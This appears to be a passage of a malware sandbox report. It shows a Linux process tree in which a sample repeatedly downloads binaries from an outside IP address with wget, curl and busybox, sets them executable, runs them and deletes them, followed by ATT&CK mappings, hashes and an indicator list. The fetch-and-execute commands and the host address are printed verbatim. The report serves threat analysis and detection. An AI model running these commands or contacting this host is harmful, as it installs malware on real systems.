  /bin/busybox wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:951
- /bin/chmod
  chmod 777 kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  ./kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:954
- /usr/bin/wget
  wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:957
- /bin/chmod
  chmod 777 LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  ./LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:960
- /usr/bin/wget
  wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:963
- /bin/chmod
  chmod 777 cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  ./cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:966
- /usr/bin/wget
  wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:969
- /bin/chmod
  chmod 777 FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  ./FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Path /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	733	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	812	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	821	8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	827	4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
/tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7	833	hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
/tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW	839	kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
/tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH	845	LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
/tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa	851	cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
/tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO	857	FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	863	fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	869	aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	875	CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	881	mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	887	mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	893	fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	899	aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	905	CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	911	mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	917	mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	923	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	929	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	935	8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	941	4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
/tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7	947	hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
/tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW	953	kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
/tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH	959	LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
/tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa	965	cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
/tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO	971	FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO